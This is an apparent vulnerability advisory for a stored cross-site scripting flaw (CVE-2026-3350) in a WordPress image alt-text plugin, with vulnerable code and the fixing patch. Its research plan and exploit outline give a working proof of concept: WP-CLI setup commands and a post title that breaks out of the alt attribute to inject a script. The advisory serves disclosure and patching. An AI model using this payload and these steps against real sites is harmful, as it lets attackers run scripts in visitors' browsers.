CVE-2026-3350

Image Alt Text Manager <= 1.8.2 - Authenticated (Author+) Stored Cross-Site Scripting via Post Title

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.8.3
Patched in
1d
Time to patch

Description

The Image Alt Text Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.8.2. This is due to insufficient input sanitization and output escaping when dynamically generating image alt and title attributes using a DOM parser. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.2
PublishedMarch 20, 2026
Last updatedMarch 20, 2026
Affected pluginalt-manager

What Changed in the Fix

Changes introduced in v1.8.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-3350 - Stored XSS via Post Title ## 1. Vulnerability Summary The **Image Alt Text Manager** plugin (up to 1.8.2) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin dynamically generates `alt` and `title` attributes for `<img>` tags by parsing the page's HTML co…

Show full research plan

Research Plan: CVE-2026-3350 - Stored XSS via Post Title

1. Vulnerability Summary

The Image Alt Text Manager plugin (up to 1.8.2) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin dynamically generates alt and title attributes for <img> tags by parsing the page's HTML content using the simple_html_dom library. During this process, it retrieves the current Post Title and injects it directly into image attributes without proper sanitization or escaping. Because the simple_html_dom library's setAttribute method does not automatically handle attribute breakout characters (like "), an attacker with Author-level privileges can craft a Post Title that breaks out of the alt or title attribute and executes arbitrary JavaScript.

2. Attack Vector Analysis

  • Endpoint: Frontend post viewing (e.g., /?p=ID).
  • Hook: template_redirect (specifically calling alm_init).
  • Vulnerable Parameter: Post Title (post_title in the wp_posts table).
  • Authentication Level: Author or above (required to create or edit posts and set titles).
  • Preconditions:
    1. The plugin must be configured to use "Post Title" for either image alt or title attributes.
    2. The target page/post must contain at least one <img> tag for the DOM parser to process.

3. Code Flow

  1. Entry Point: A user requests a single post page.
  2. Hook Execution: inc/alm-empty-generator.php registers alm_init on the template_redirect hook at PHP_INT_MAX.
  3. Output Buffering: alm_init() starts an output buffer using ob_start( 'get_content' ).
  4. Filter Application: The get_content() function applies the alm_output filter, which is handled by alm_generator($alm_data_generator).
  5. DOM Parsing: alm_generator parses the entire page HTML using str_get_html( $alm_data_generator ).
  6. Data Retrieval: The code identifies <img> tags and populates an $options array:
    // inc/alm-empty-generator.php
    $options = [
        // ...
        'Post Title' => get_post_field( 'post_title', $ID ),
        // ...
    ];
    
  7. Vulnerable Sink: The plugin checks settings (e.g., post_images_alt). If "Post Title" is selected, it retrieves the raw title and sets the attribute:
    // inc/alm-empty-generator.php
    foreach ( alm_get_option( 'post_images_alt' ) as $option ) {
        if ( array_key_exists( $option, $options ) ) {
            $alt .= $options[$option]; // Raw post title is appended
        }
    }
    // ...
    $img->setAttribute( 'alt', $alt ); // Sink: simple_html_dom doesn't escape quotes
    
  8. Output: The modified HTML is returned via $html->save() and rendered in the browser.

4. Nonce Acquisition Strategy

This vulnerability does not require a plugin-specific nonce to exploit. The "storage" phase uses the standard WordPress post creation/editing interface (which uses core nonces handled by the browser). The "execution" phase is triggered by a simple GET request to the public-facing post.

5. Exploitation Strategy

The goal is to demonstrate that an Author can inject a payload into a Post Title that executes when any user views the post.

Step 1: Configure Plugin (Admin)

The plugin needs to be told to use the "Post Title" for image attributes. This is usually the default or a common configuration.

  • Update option post_images_alt to include Post Title.
  • Update option only_empty_images_alt to disabled (to ensure it processes all images).

Step 2: Inject Payload (Author)

Create a post with a title designed to break out of the alt="..." attribute.

  • Payload: "><script>alert(document.domain)</script>
  • Content: Must include an <img> tag so the plugin has a target for the attribute injection.

Step 3: Trigger Execution (Guest/Victim)

Navigate to the post URL as an unauthenticated user.

6. Test Data Setup

Perform the following via WP-CLI before the exploit:

# 1. Create an Author user
wp user create attacker attacker@example.com --role=author --user_pass=password123

# 2. Configure the plugin to use Post Title for Alt Text (As Admin)
# Note: Options in this plugin are stored as 'post_images_alt'
wp option update post_images_alt '["Post Title"]' --format=json
wp option update only_empty_images_alt 'disabled'

# 3. Create a post with the payload as the Author
# The image in content is essential for the plugin to run its logic
wp post create \
  --post_type=post \
  --post_author=$(wp user get attacker --field=ID) \
  --post_title='"><script>alert(document.domain)</script>' \
  --post_content='Check out this image: <img src="https://example.com/test.jpg" class="test-img">' \
  --post_status=publish

7. Expected Results

  1. The plugin will process the post page.
  2. It will find the <img> tag.
  3. It will fetch the post title: "><script>alert(document.domain)</script>.
  4. It will set the alt attribute of the image.
  5. The resulting HTML rendered to the browser will be:
    <img src="https://example.com/test.jpg" class="test-img" alt=""><script>alert(document.domain)</script>">
    
  6. The browser will execute the <script> block and show an alert.

8. Verification Steps

After using the http_request tool to visit the post, verify the output:

  1. Response Body Check: Look for the literal string <script>alert(document.domain)</script> outside of an attribute context.
  2. DOM Check: Use browser_eval to check if the script executed or if the DOM reflects the breakout:
    browser_eval("document.querySelector('img.test-img').getAttribute('alt')") 
    // This should return "" (empty) because the browser terminates the attribute at the first "
    

9. Alternative Approaches

If the plugin is configured to only generate attributes for featured images or specific classes:

  • Featured Image: Assign an attachment to the post as the featured image using wp post term set <ID> <thumbnail_id>.
  • Title Attribute: If post_images_alt is patched or filtered, try the post_images_title setting, which follows the same vulnerable code path in alm_generator.
  • Logic in inc/alm-functions.php: The plugin also uses the wp_get_attachment_image_attributes filter. If the DOM parser in template_redirect fails, images rendered via the_post_thumbnail() might still be vulnerable via the code in inc/alm-functions.php:
    // inc/alm-functions.php
    function alm_image_attributes( $attr, $attachment ) {
        // ...
        $options['Post Title'] = get_post_field( 'post_title', $ID );
        // ...
        $attr['alt'] = $alt; // This is returned to WordPress core and echoed in HTML
    }
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Image Alt Text Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the post title because it fails to sanitize or escape content before injecting it into image alt and title attributes. Authenticated attackers with Author-level permissions can create posts with malicious titles that execute arbitrary JavaScript when viewed by any visitor.

Vulnerable Code

// inc/alm-empty-generator.php (approx lines 145-151)
$options = [
    'Site Name'        => get_bloginfo( 'name' ),
    'Site Description' => get_bloginfo( 'description' ),
    'Page Title'       => get_the_title( $ID ),
    'Post Title'       => get_post_field( 'post_title', $ID ),
    'Product Title'    => get_post_field( 'post_title', $ID ),
];

// ... later in the same file (approx lines 194-200)
if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {
    $img->setAttribute( 'alt', $alt );
} elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {
    $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );
} else {
    $img->setAttribute( 'alt', $alt );
}

---

// inc/alm-functions.php (approx lines 33-39)
$options = [
    'Site Name'        => get_bloginfo( 'name' ),
    'Site Description' => get_bloginfo( 'description' ),
    'Page Title'       => get_the_title( $ID ),
    'Post Title'       => get_post_field( 'post_title', $ID ),
    'Product Title'    => get_post_field( 'post_title', $ID ),
];

// ... later in the same file (approx lines 67-73)
if ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) {
    $attr['alt'] = $alt;
} elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) {
    $attr['alt'] = $attr['alt'];
} else {
    $attr['alt'] = $alt;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/alt-manager/1.8.2/inc/alm-empty-generator.php /home/deploy/wp-safety.org/data/plugin-versions/alt-manager/1.8.3/inc/alm-empty-generator.php
--- /home/deploy/wp-safety.org/data/plugin-versions/alt-manager/1.8.2/inc/alm-empty-generator.php	2026-03-03 10:53:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/alt-manager/1.8.3/inc/alm-empty-generator.php	2026-03-10 15:39:44.000000000 +0000
@@ -144,11 +144,11 @@
                 if ( !$is_featured && $img->getAttribute( 'class' ) !== 'wpml-ls-flag' && !($has_alt && $has_title) ) {
                     // options
                     $options = [
-                        'Site Name'        => get_bloginfo( 'name' ),
-                        'Site Description' => get_bloginfo( 'description' ),
-                        'Page Title'       => get_the_title( $ID ),
-                        'Post Title'       => get_post_field( 'post_title', $ID ),
-                        'Product Title'    => get_post_field( 'post_title', $ID ),
+                        'Site Name'        => sanitize_text_field( get_bloginfo( 'name' ) ),
+                        'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ),
+                        'Page Title'       => sanitize_text_field( get_the_title( $ID ) ),
+                        'Post Title'       => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
+                        'Product Title'    => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
                     ];
@@ -191,11 +191,11 @@
                             //Empty alt option
                             if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );
+                                $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) );
                             } else {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             }

Exploit Outline

The exploit targets the dynamic generation of image attributes on the frontend. 1. Authentication: The attacker needs at least Author-level access to create or edit posts. 2. Plugin Configuration: The plugin must be active and configured to use 'Post Title' for image alt or title attributes (this is often the default or a common configuration). 3. Payload: The attacker creates a new post and sets the 'Post Title' to a breakout payload, such as `"><script>alert(document.domain)</script>`. The post content must include at least one `<img>` tag. 4. Trigger: When any user (including an unauthenticated guest) views the post, the plugin's output buffer handler (`alm_init`) parses the HTML. It retrieves the malicious post title and injects it into the image's attributes using `setAttribute`. 5. Execution: Because the payload contains double quotes and the plugin does not escape them, the `alt` attribute is terminated early, allowing the `<script>` tag to be rendered as a separate element in the DOM and executed by the browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.